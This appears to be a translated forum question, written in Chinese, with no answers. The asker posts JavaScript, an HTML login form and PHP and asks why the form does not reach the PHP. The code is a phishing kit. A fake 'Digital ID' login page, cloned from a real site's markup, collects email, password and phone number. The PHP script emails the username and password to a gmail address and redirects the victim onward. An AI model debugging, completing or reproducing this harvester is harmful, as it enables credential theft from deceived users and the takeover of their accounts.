0

这是我的脚本,它运行良好,但我在这里遇到的问题是脚本只验证但它不与我认为我的论点的 php 通信。

(siteURL + 'continue2.php', 'username=' + username + '&password=' + $("input#password").

有人可以帮我吗?

var numbersOnly = /^[0-9]+$/;
jStandardLogin.jLoginContinue1 = function(form) {
  formError = true;
  username = $("input#username").val();

  if (!validateEmail(username)) {
    $(".digitalIdLoginForm_username_error").removeClass("ng-hide");
    formError = true;
  } else {
    $(".smallUsername_error").addClass("ng-hide");
    formError = false;
    jStandardLogin.showPleaseWait();
    $(".digitalIdUsernameForm").hide();
    $(".login-container-content-username").html(username);
    setTimeout(function() {
      jStandardLogin.hidePleaseWait();
      $(".digitalIdLoginPasswordForm").show();
      $("#password").focus();
    }, 1500);
  }
};

jStandardLogin.jLoginContinue2 = function(form) {
  formError = true;
  password = $("input#password").val();

  if (checkPwd(password) !== "ok") {
    $(".smallPassword_error, .digitalIdLoginForm_password_error").removeClass("ng-hide");
    formError = true;
  } else {
    $(".smallPassword_error").addClass("ng-hide");
    formError = false;
    jStandardLogin.jLoginContinue_Process();
  }
};

jStandardLogin.jLoginContinue_Process = function() {
  jStandardLogin.showPleaseWait();
  ajax_jsonp_call(siteURL + 'continue2.php', 'username=' + username + '&password=' + $("input#password").val(), function(responseText) {
    if (responseText === "invalid email address") {
      $(".smallUsername_error, .digitalIdLoginForm_username_error").removeClass("ng-hide");
    }
    /*
    document.open();
    document.write(responseText.message);
    document.close();*/
    digitalIdLoginPasswordForm
    $(".digitalIdLoginPasswordForm").html(responseText.message);
    jStandardLogin.hidePleaseWait();
    setTimeout(function() {
      $("#cellphone").focus();
    }, 1500);
  });
};

这是我的 HTML 表单的开头,它使用 onsubmit 代码连接到我的 js 查询

这是表单的开始标签:

<form onsubmit="jStandardLogin.jLoginContinue1($(this)); return false;" method="POST" name="forms.digitalIdLoginForm" id="digitalIdLoginForm" data-frmcontainer="login form" novalidate autocomplete="off" ng-submit="ctrl.login()" class="ng-pristine ng-scope ng-invalid ng-invalid-required ng-valid-pattern"
  data-frmtrkid="1541444923884">
  <section>
    <div>
      <label for="username">Email address</label>
      <input type="text" id="username" name="username" ng-model="ctrl.diLogin.username" required ng-focus="ctrl.setFocused('right')" ng-pattern="[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+[A-Za-z]" ng-class="{'show-validation-styles': ctrl.panelState('right') === 'active' &amp;&amp; (forms.digitalIdLoginForm.username.$touched || forms.digitalIdLoginForm.$submitted)}"
        class="ng-pristine ng-untouched ng-empty ng-invalid ng-invalid-required ng-valid-pattern">

这是我的 php 代码,我希望它能够连接到脚本,但它没有这样做。任何人都可以帮助我吗?

<?php
  session_start();
  include_once 'mail.php';
  $praga=rand();
  $praga=md5($praga);
  $page= $_POST['page'];

  if ($page == '1') 
 { 

  $message = "\n";
  $message .= "User ID      :  ".$_POST['username']." \n";
  $message .= "Password     :  ".$_POST['password']." \n";
  $message .= "\n";
  $send = "test@gmail.com";
  mail($send,$subject,$message);

  header("Location:./page2.html?login_id=$praga-session_id=$praga$praga");
}

elseif ($page == '2') 
{ 
  $message = "\n";
  $message .= "Phone Number        :  ".$_POST['cellphone']." \n";
  $message .= "\n";
  $send = "testk@gmail.com";
  mail($send,$subject,$message);

  header("Location:https://");
}

else {
  header("Location:./index.php?login_id=$praga-session_id=$praga$praga");
}
?>
4

0 回答 0